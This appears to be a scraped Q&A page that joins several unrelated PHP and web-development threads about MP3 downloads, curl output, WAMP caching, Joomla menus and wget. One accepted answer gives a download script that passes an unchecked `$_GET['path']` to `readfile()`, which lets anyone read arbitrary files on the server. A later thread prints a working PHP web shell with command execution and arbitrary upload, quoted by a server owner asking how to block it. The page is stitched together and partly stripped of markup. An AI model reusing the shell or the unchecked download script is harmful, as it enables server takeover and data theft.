I have a site where users can stream my music from a flash player or download the individual songs (as mp3s). Right now if you click on the download links, they just play in the browser. Can I make it so the download box will pop up by default without either zipping the files making the user rt. click?
I have my index.php page with the links looking like this (pulling file names dynamically from mySQL:
<table>
.
.
.
<td>
<?php include 'Media/' . $row['type'] . '/' . $row['folder_name'] . '/download.php' ?>
</td>
and then download.php has this:
<div class="downloadCell">
<h3>Downloads:</h3>
<ul>
<li>
Chemtengure
</li>
</ul>
</div>
and I put the auto_download.php in the same directory as index.php:
auto_download.php:
$path = $_GET['path'];
header('Content-Disposition: attachment; filename=' . basename($path));
readfile($path);
You will need to add this HTTP header to your response to make the browser force a download:
Content-Disposition: attachment; filename=your_filename.mp3
For example, if you're using PHP on the server side, you can create a script that sends the above header followed by the actual file contents:
$path = $_GET['path'];
header('Content-Disposition: attachment; filename=' . basename($path));
readfile($path);
If you call this script download.php, then linking to download.php?path=/path/to/your/file.mp3 will make the browser pop-up a download dialog for file.mp3.
Related
when I tried to curl some pages.
curl http://test.com
I can get like following result
<html>
<body>
<div>
<dl>
<dd> 10 times </dd>
</dl>
</div>
</body>
</html>
my desired result is like simply 10 times..
Are there any good way to achieve this ?
If someone has opinion please let me know
Thanks
If you are are unable to use a html parser for what ever reason, for your given simple html example, you could use:
curl http://test.com | sed -rn 's#(^.*<dd>)(.*)(</dd>)#\2#p'
Redirect the output of the curl command into sed and enable regular expression interpretation with -r or -E. Split the lines into three sections and substitute the line for the second section only, printing the result.
So I am a novice at Web development and I am trying to create a website and am using WAMP to test out my PHP code and such. The issue I'm running into is that when I change my file, and try to refresh my localhost page on my browser, it gives me a file not found error. When I close out the localhost page and reopen it, the page that I changed appears properly and is updated properly.
I was just wondering whether there is an issue with my WAMP or whether having to open a new localhost page is necessary every time a file is updated?
I would ensure the file path is correct, double check that you are dev-ing from the same folder that you are viewing in localhost. Also what worked for me is doing a browser cache refresh which is different from a simple refresh. http://refreshyourcache.com/en/cache/
Windows: ctrl + F5
Mac/Apple: Apple + R or command + R
Linux: F5
<link rel="stylesheet" href="http://localhost/CI-social-media/css/registration_form.css?v=<?php echo time(); ?>">
<script language="javascript" src="http://localhost/CI-social-media/js/registration_form.js?v=<?php echo time(); ?>"></script>
<link rel="stylesheet" href="http://localhost/CI-social-media/css/registration_form.css?v=<?php echo time(); ?>">
<script language="javascript" src="http://localhost/CI-social-media/js/registration_form.js?v=<?php echo time(); ?>"></script>
use this & solved problem
just add ?v=<?php echo time(); ?> after href="('path/url') then after "
just add ?v=<?php echo time(); ?> after src="('path/url') then after "
<link rel="stylesheet" href="http://localhost/CI-social-media/css/registration_form.css?v=<?php echo time(); ?>">
<script language="javascript" src="http://localhost/CI-social-media/js/registration_form.js?v=<?php echo time(); ?>"></script>
I have www.mydomain.com and subdomain gallery.domain.com
On www.mydomain.com have Joomla with menu:
Home | Offer | Gallery | Contact
Is it possible to connect this with my subdomain with links in that way?
Home - www.mydomain.com Offer - www.mydomain.com/offer/
Gallery - gallery.mydomain.com Contact -
www.mydomain.com/contact/
All should have the same menu and template, only link of Gallery should be visible as subdomain.
I tried "Virtual Domains" extension but it changes all my links, so when I am at Gallery, all links in my menu are like gallery.mydomain.com/contact/ instead www.mydomain.com/contact/
Joomla is generally displaying relative url's, which is why your menu is displaying links relative to the gallery subdomain when you are at this site. If the menu links are your only problem, you could prevent this by overriding mod_menu in your template, adding http://yourdomain.com to all relative links.
Copy default_component.php from /mod_menu/tmpl to /templates/yourtemplate/html/mod_menu, and modify the urls as below:
// from around line 27
switch ($item->browserNav)
{
default:
case 0:
?><a <?php echo $class; ?>href="http://yourdomain.com<?php echo $item->flink; ?>" <?php echo $title; ?>><?php echo $linktype; ?></a><?php
break;
case 1:
// _blank
?><a <?php echo $class; ?>href="http://yourdomain.com<?php echo $item->flink; ?>" target="_blank" <?php echo $title; ?>><?php echo $linktype; ?></a><?php
break;
case 2:
// Use JavaScript "window.open"
?><a <?php echo $class; ?>href="http://yourdomain.com<?php echo $item->flink; ?>" onclick="window.open(this.href,'targetWindow','toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes');return false;" <?php echo $title; ?>><?php echo $linktype; ?></a>
<?php
break;
}
I believe this is the only file you'll need to override.
I am running this wget, able to save everything (css, html, images, relative path reference etc) from a webpage, except the audio (alert.mp3, alert.ogg)
Is it due to limitation of wget when come to getting this audio from this format?
<?php
exec("wget --no-parent --timestamping --convert-links --page-requisites -erobots=off http://webpage/index.html");
?>
<html>
<body>
bla bla bla
<audio autoplay="autoplay" preload=""><source src="alert.mp3" type="audio/mpeg"><source src="alert.ogg" type="audio/ogg"></audio>
</body>
</html>
A few weeks ago I opened up a hole on my shared server and my friend uploaded the following PHP script:
<?php
if(isset($_REQUEST['cmd'])) {
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
<?php
if(isset($_REQUEST['upload'])) {
echo '<form enctype="multipart/form-data" action=".config.php?send" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="5120000" />
Send this file: <input name="userfile" type="file" />
To here: <input type="text" name="direct" value="/home/chriskan/public_html/_phx2600/wp-content/???" />
<input type="submit" value="Send File" />
</form>';
}
?>
<?php
if(isset($_REQUEST['send'])) {
$uploaddir = $_POST["direct"];
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n"; echo $uploaddir;
} else {
echo "Upload failed";
}
}
?>
This script allows him to process commands through in-URL variables.
I have disabled system, among other functions, in the php.ini file in my public_html directory. This will prevent the script from running if it's located within my public_html directory, but doesn't stop it if it's in a sub-directory of that. If I copy the php.ini file into a sub-directory it will stop it from running from that directory.
My question is, how do I enable my php.ini file to affect all directories/sub-directories of my server?
One, kick off a "friend" that chooses to run scripts like this.
Then worry about securing your server. Your system has a master php.ini somewhere (often /etc/php.ini, but if can be in several places, check php_info()). That file controls the default settings for your server. Also, you can block local settings files that allow overrides.
Wow! move the php.ini file on a per-directory basis? Didnt know you could do that.
My best guess (someone please correct me if im wrong), php probably overrides the global php.ini file with a local set of rules on a per-directory basis (much like .htaccess), so basically all you would need to do is to update your php.ini directives to the global php.ini (found here in ubuntu: etc/php5/apache2/php.ini)
Alternatively, you might want to try to use .htaccess to prepend a php page onto all pages with the following:
ini_set('your_directive')
Of course, make sure the .htaccess which calls the prepend php sits at the root, else you're stuck with the same issue.
/mp
Thanks guys, your answers were great, but the answer was right under my nose the entire time. Via cPanel I was able to edit my server to use a single php.ini file.
Are you sure? I wish I had your ISP. By default some ISPs will provide a local copy of the ini file in public_html to allow overrides. But cPanel usually only provides a reference of the server-wide defaults.